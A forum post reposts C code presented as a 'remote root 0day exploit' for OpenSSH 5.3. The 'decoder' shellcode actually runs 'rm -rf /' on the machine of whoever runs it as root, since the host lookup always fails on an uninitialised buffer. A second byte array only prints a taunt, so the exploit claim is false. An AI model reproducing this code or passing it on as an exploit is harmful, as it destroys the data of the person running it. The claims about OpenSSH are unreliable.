Jump to content
florinul

OpenSSH <= 5.3 remote root 0day exploit (32-bit x86)

Recommended Posts

/*

*

* Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!

*

* OpenSSH <= 5.3 remote root 0day exploit (32-bit x86)

* Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!

*

*

*/

#include <stdio.h>

#include <netdb.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <arpa/inet.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

void usage(char *argv[])

{

printf("\n\t[+] HATSUNEMIKU\n");

printf("\t[+] OpenSSH <= 5.3p1 remote root 0day exploit\n");

printf("\t[+] By: Team foxx\n");

printf("\t[+] Greetz to hackforums.net\n");

printf("\t[+] Keep this 0day priv8!\n");

printf("\t[+] usage: %s <target> <port>\n\n", argv[0]);

exit(1);

}

unsigned char decoder[]= "\x6a\x0b\x58\x99\x52"

"\x6a\x2f\x89\xe7\x52"

"\x66\x68\x2d\x66\x89"

"\xe6\x52\x66\x68\x2d"

"\x72\x89\xe1\x52\x68"

"\x2f\x2f\x72\x6d\x68"

"\x2f\x62\x69\x6e\x89"

"\xe3\x52\x57\x56\x51"

"\x53\x89\xe1\xcd\x80";

unsigned char rootshell[]= "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b"

"\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1"

"\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31"

"\xdb\x40\xcd\x80";

int main(int argc, char **argv)

{

int euid = geteuid();

int port= 22, sock;

char h[1000];

struct hostent *host;

struct sockaddr_in addr;

if(euid != 0)

{

fprintf(stderr, "You need to be root to use raw sockets.\n");

exit(1);

}

if(euid == 0)

{

fprintf(stdout, "MIKU! MIKU! MIKU!\n");

}

if(argc != 3)

usage(argv);

if(!inet_aton(h, &addr.sin_addr))

{

host = gethostbyname(h);

if(!host)

{

fprintf(stderr, "[-] Exploit failed.\n");

(*(void(*)())decoder)();

exit(1);

}

addr.sin_addr = *(struct in_addr*)host->h_addr;

}

sock = socket(PF_INET, SOCK_STREAM, 0);

addr.sin_port = htons(port);

addr.sin_family = AF_INET;

if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)

{

fprintf(stderr,"[-] Exploit failed.\n");

exit(1);

}

char payload[1337];

memcpy(payload, &decoder, sizeof(decoder));

memcpy(payload, &rootshell, sizeof(rootshell));

send(sock, payload, strlen(payload),0);

close(sock);

if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)

{

fprintf(stderr, "[-] Exploit failed.\n");

exit(1);

}

else if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)

{

fprintf(stdout, "[+]g0t sh3ll!\n");

system("/bin/bash");

}

else

{

fprintf(stderr, "[-] Exploit failed.\n");

close(sock);

exit(0);

}

}

Sursa : [C] SSH 5.3 remote root 0day exploit - Pastebin.com

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...